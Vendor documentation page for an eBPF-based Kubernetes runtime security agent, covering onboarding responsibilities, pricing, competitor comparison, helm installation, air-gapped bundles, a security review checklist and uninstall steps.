Customer responsibilities

When you onboard Tier 3, here's what's on your side vs. ours:

ResponsibilityYouEchelonGraph
Provision Helm chart on your cluster✓—
Provide a customer-managed KMS key✓—
Set IAM policy / Vault token for the agent✓—
Configure NetworkPolicy egress to ingest endpoint✓—
Maintain agent upgrades (chart minor bumps)✓ (we publish; you helm upgrade)—
Operate the SaaS dashboard / API—✓
Maintain ingest pipeline, storage, indexing—✓
Run feed updates (URLhaus, CISA KEV)—✓ (agent pulls; you can air-gap)
Define custom compliance frameworks✓—
Approve auto-remediation patches✓ (admin RBAC)—

One-time onboarding (~15 min)

  1. Create a KMS key. AWS: arn:aws:kms:...; GCP: projects/.../cryptoKeys/...; Vault: transit/keys/echelongraph.
  2. Grant the agent's principal Encrypt + Decrypt on that key only.
  3. Generate a one-time enrollment OTP in your dashboard (Settings → Agents → New).
  4. helm install the chart with the OTP + KMS config. The agent auto-enrolls.
  5. Verify via kubectl port-forward + /readyz (returns 200 once eBPF hooks attach).

After step 5, your dashboard's "Connected Agents" indicator goes green and findings start flowing.

Pricing model

Tier 3 — the on-cluster runtime eBPF agent — ships with the Enterprise plan. Pricing is flat annual, never per-node or per-event, so cluster growth and traffic spikes never change your bill.

  • Community, Team, and Pro plans cover Tier 1 (agentless cloud) and Tier 2 (network + container) scanning.
  • Enterprise (custom pricing) adds Tier 3 runtime detection — all T3.0–T3.10 features, AWS/GCP/Vault KMS BYOK, zero-knowledge encryption, air-gapped install, dedicated SaaS region, 730-day retention + archive, and a custom SLA.

See the plans page for the full comparison. BYOK zero-knowledge encryption and auto-remediation are included, not paid add-ons — unlike Sysdig's "private cloud" SKUs ($50K+) or the per-image / per-workload metering from Aqua and Wiz.

Why we cost what we do

  • R&D: every detection rule has a documented MITRE ATT&CK mapping, a reference to a public threat report, and an integration test. Detection quality is our moat.
  • Custom compliance builder: DORA / NIS2 / CMMC / FedRAMP templates ready out-of-box. Most competitors charge add-ons.
  • Hardware KMS: AWS + GCP + Vault native — not "bring a CSV of indicators" or "managed inside our cloud."
  • Auto-remediation: 15 IaC patch templates with audit trail + admin approval workflow. Sysdig/Aqua charge for "remediation packages" as add-ons.
  • Air-gapped support: scripts/airgap-bundle.sh ships a complete tarball; no phone-home required.

Security comparison

CapabilityTier 3SysdigAquaFalcoWiz
Zero-knowledge data plane (BYOK encryption)✓✗✗✗✗
Kernel-level eBPF telemetry✓✓✓✓✓ (sensor)
Process monitoring + reverse-shell detection✓✓✓✓✓
Network anomaly detection (ML-statistical)✓✓✗✗✓
Custom compliance framework builder✓✗partial✗partial
Auto-remediation IaC PR generation✓✗✗✗✗
Air-gapped mode (no phone-home)✓partial✓✓✗
AWS / GCP / Vault KMS integration✓✗partial✗✗
Per-tenant suppression rules✓✗✗✗✗
Threat-intel: STIX 2.1 + TAXII 2.1 native✓partial✗✗partial
MITRE ATT&CK auto-tagging✓✓✓partial✓
EU GDPR / DPDP Article-25 by design✓partialpartial✗partial
Open-source customer SDK (zkdecrypt)✓✗✗✓ (rule lang)✗

Three things only EchelonGraph Tier 3 does

  1. Zero-knowledge data plane. Your encrypted payload arrives at our infrastructure — and we cannot decrypt it. Sysdig/Aqua/Wiz all have access to your raw event data; Falco runs entirely on-prem (no SaaS analytics).
  2. End-to-end auto-remediation with admin approval. Detect → generate IaC patch (Terraform / K8s / Helm) → open PR → admin approves → apply. Sysdig + Aqua have advisory remediation; only ours closes the loop while keeping a full audit trail.
  3. Customer-defined compliance frameworks. DORA / NIS2 / CMMC / FedRAMP templates plus the option to build your own (versioned, immutable-once-published, JSON portable). Sysdig/Aqua ship fixed framework catalogs.

Installation

1. Pull the chart

helm pull oci://us-central1-docker.pkg.dev/echelongraph-prod/echelon-customer/echelongraph-tier3

2. Configure KMS

Pick one provider — see the per-provider setup guide:

3. Enroll + install

export ECHELON_AGENT_ENROLL_TOKEN="<otp from dashboard>"

helm upgrade --install echelongraph-tier3 \
  oci://us-central1-docker.pkg.dev/echelongraph-prod/echelon-customer/echelongraph-tier3 \
  -n echelongraph-system --create-namespace \
  --set tenant.id="<your-tenant-id>" \
  --set secrets.encryptionKey="$(openssl rand -hex 32)" \
  --set secrets.enrollmentToken=$ECHELON_AGENT_ENROLL_TOKEN \
  --set secrets.enrollmentEndpoint="https://app.echelongraph.io" \
  --set ingester.address="ingest.echelongraph.io:443"
# For an external KMS provider (AWS/GCP/Vault) instead of the in-cluster BYOK
# key, configure it per the KMS setup links in step 2.

4. Verify

kubectl get pods -n echelongraph-system
# tier3-master-xxx       1/1 Running
# tier3-tentacle-xxx     1/1 Running per node

# Health (port-forward — agent images are distroless, no shell)
kubectl -n echelongraph-system port-forward $(kubectl -n echelongraph-system get pod -l component=master -o name | head -n1) 8087:8087 &
curl -sS http://localhost:8087/readyz
# 200 OK once eBPF hooks attach + ingester reachable

In your EchelonGraph dashboard, the agent should show "Connected" within 30 seconds.

Air-gapped customers

For environments with no outbound internet (regulated finance, government, defense):

# 1. On a connected machine, build the bundle.
./scripts/airgap-bundle.sh --version=1.19.8 --include-ioc

# 2. Transfer the .tar.zst to your air-gapped network.
# 3. Load images into your private registry.
# 4. helm install with TIER3_AIRGAPPED=true and image overrides.

The bundle includes:

  • Master + Tentacle Docker images
  • Helm chart (.tgz)
  • Grafana dashboard JSON
  • Prometheus alert rules
  • (Optional) IOC database snapshot at bundle time

What customers do NOT need to do

  • No CVE database maintenance. Tier 3 pulls abuse.ch URLhaus + Feodo Tracker + CISA KEV automatically (every 6h). Air-gapped customers ship snapshots in the bundle.
  • No anomaly model training. The statistical baseline (24h rolling window + EWMA + seasonality) is fully unsupervised; warm-up takes 24h after install.
  • No rule authoring for the basics. 30+ detection rules ship out-of-box (T3.4 process + T3.5 anomaly + T3.6 IOC). Custom rules are optional.
  • No on-call. Alerts route to your existing PagerDuty / Slack / email via the standard PrometheusRule we ship.

Operational reference

DocTopic
TIER3_DEPLOYMENT.mdCustomer install + config + troubleshooting catalog
TIER3_KMS_SETUP.mdAWS / GCP / Vault setup with IAM permissions per provider
TIER3_BACKUP_RESTORE.mdPostgres + ClickHouse export/import + RTO/RPO matrix
UPGRADING.mdVersion compatibility matrix + per-version migration list
CHANGELOG.mdFull release history

Confidence checklist for security review

If your security team is evaluating Tier 3, here's the audit trail they typically request:

  • [ ] eBPF verifier compliance — every program is loaded via cilium/ebpf with the kernel verifier; programs that fail validation are rejected at load time.
  • [ ] Unprivileged by default — tentacle runs with a least-privilege capability set (CAP_SYS_ADMIN, CAP_BPF, CAP_NET_ADMIN), not a fully-privileged container; full privilege is an opt-in escape hatch for restrictive kernels only. Its only host-filesystem write is its state directory (/var/lib/echelon — agent token + anomaly state); it uses hostNetwork + hostPID, which eBPF process and network tracing require.
  • [ ] Customer-managed encryption keys — TIER3_KMS_PROVIDER chooses your KMS; envelope encryption uses per-event DEK wrapped by your KEK. We document that we never see plaintext.
  • [ ] Open-source SDK — sdk/zkdecrypt is the canonical decryption path; auditable Go.
  • [ ] No outbound from the agent beyond ingest.echelongraph.io:443. Air-gapped mode disables even that.
  • [ ] License feature flags — every paid feature is gated behind a license claim signed by EchelonGraph; rotation supported.
  • [ ] Open-source threat-intel feeds — abuse.ch + CISA KEV are public; the agent never sends *your* findings to those upstream services.
  • [ ] Audit log for every admin-grade action (remediation approve, framework publish, agent enrollment).

Uninstall

helm uninstall echelongraph-tier3 -n echelongraph-system
kubectl delete namespace echelongraph-system

The agent self-zeroes its DEK on shutdown. Wrapped DEKs in our backend remain (we can't decrypt anyway); for full removal, contact support@echelongraph.io with a tenant deletion request and we'll TRUNCATE the ciphertext rows.

Previous← Tier 2 Self-Hosted DeploymentNextTier 3 Zero-Knowledge Decryption — SDK Reference →